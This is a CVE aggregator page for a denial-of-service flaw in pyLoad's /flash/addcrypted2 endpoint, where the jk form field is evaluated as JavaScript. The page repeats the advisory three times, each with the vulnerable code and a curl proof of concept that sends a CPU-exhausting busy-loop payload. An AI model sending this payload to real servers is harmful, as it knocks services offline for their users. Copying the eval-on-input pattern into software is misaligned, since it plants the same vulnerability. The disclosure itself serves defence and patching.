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CVE-2025-57751

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

7.7 HighFix available

pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.33%Up 0.3 points since Aug 22, 2025
90%50%10%1%

What each source reports

CVE List Score used 7.7

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.

Record
CVE-2025-57751
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2025-25486 7.7

pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.

Record
EUVD-2025-25486
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-9gjj-6gj7-c4wj 7.7

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

affected code

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")

def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

  • PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

top -pid $(pgrep -f "pyload.__main__") 

or

top -pid $(pgrep -f "pyload") 

The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

Record
GHSA-9gjj-6gj7-c4wj
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-400
Updated
2026-11-02
NVD 7.7

pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.

Record
CVE-2025-57751
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-9gjj-6gj7-c4wj 7.7

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

affected code

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")

def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

  • PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

top -pid $(pgrep -f "pyload.__main__") 

or

top -pid $(pgrep -f "pyload") 

The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

Record
GHSA-9gjj-6gj7-c4wj
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Weakness
CWE-400
Updated
2026-11-02
OSVPYSEC-2026-1815 7.7

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

affected code

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")

def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

  • PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

top -pid $(pgrep -f "pyload.__main__") 

or

top -pid $(pgrep -f "pyload") 

The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

Record
PYSEC-2026-1815
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pyload-ng
PyPI
before 0.5.0b3.dev92
0.5.0b3.dev92
pyload-ng
PyPI
before 0.5.0b3.dev92, plus listed versions
0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537
Show 45 moreShow less
0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34
0.5.0b3.dev92

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-57751 is a high vulnerability (CVSS 7.7) in Pyload, published August 21, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 25th percentile. Fixed in pyload-ng 0.5.0b3.dev92.

References

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Left out here: 46 versions. The JSON record has them.

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